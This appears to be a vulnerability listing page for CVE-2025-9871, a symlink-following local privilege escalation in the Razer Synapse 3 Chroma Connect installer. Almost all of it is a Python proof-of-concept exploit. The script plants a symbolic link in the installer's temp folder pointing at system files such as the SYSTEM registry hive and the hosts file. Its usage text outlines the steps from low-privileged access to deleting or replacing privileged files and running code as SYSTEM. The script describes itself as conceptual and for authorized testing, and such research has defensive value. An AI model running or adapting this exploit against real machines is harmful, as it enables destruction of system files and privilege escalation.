CVE-2025-9871 Razer Synapse 3 Chroma Connect符号链接本地权限提升漏洞

# CVE-2025-9871 PoC - Symbolic Link Following in Razer Chroma SDK Installer # Target: Delete arbitrary files via installer symlink abuse # Note: This is a conceptual PoC for educational purposes only import os import sys import subprocess import shutil def create_malicious_symlink(target_path, link_path): """ Create a symbolic link that points to a target file/directory This PoC demonstrates the symlink abuse technique """ try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target_path, link_path) print(f"[+] Symlink created: {link_path} -> {target_path}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def exploit_installer(): """ Simulated exploitation flow: 1. Identify Razer Chroma SDK installer process 2. Create symlink to target system file 3. Trigger installer to follow symlink and modify target 4. Escalate privileges via modified file """ # Target paths that could be abused target_files = [ r"C:\Windows\System32\config\SYSTEM", r"C:\Windows\System32\drivers\etc\hosts", r"C:\ProgramData\Microsoft\Windows\WER\ReportQueue" ] # Malicious symlink location (in installer writable area) symlink_location = r"C:\Program Files\Razer\ChromaConnect\temp\link" print("[*] CVE-2025-9871 Symlink Following Attack Simulation") print("[*] Target: Razer Chroma SDK Installer") for target in target_files: if os.path.exists(target): print(f"\n[*] Targeting: {target}") if create_malicious_symlink(target, symlink_location): print("[+] Symlink abuse vector established") print("[+] Waiting for installer to follow symlink...") break def cleanup(): """Clean up symlink artifacts""" symlink_location = r"C:\Program Files\Razer\ChromaConnect\temp\link" if os.path.islink(symlink_location): os.remove(symlink_location) print("[*] Cleanup completed") if __name__ == "__main__": print("CVE-2025-9871 Razer Synapse 3 Chroma Connect LPE PoC") print("=" * 60) print("WARNING: For authorized security testing only") print("=" * 60) if len(sys.argv) > 1 and sys.argv[1] == "--exploit": exploit_installer() else: print("\nUsage: python cve-2025-9871.py --exploit") print("\nThis PoC demonstrates the symlink following vulnerability") print("in Razer Chroma SDK installer. In real attack:") print("1. Obtain low-privileged code execution") print("2. Create symlinks in installer temp directory") print("3. Trigger installer to follow symlinks") print("4. Delete/replace privileged files") print("5. Execute code as SYSTEM")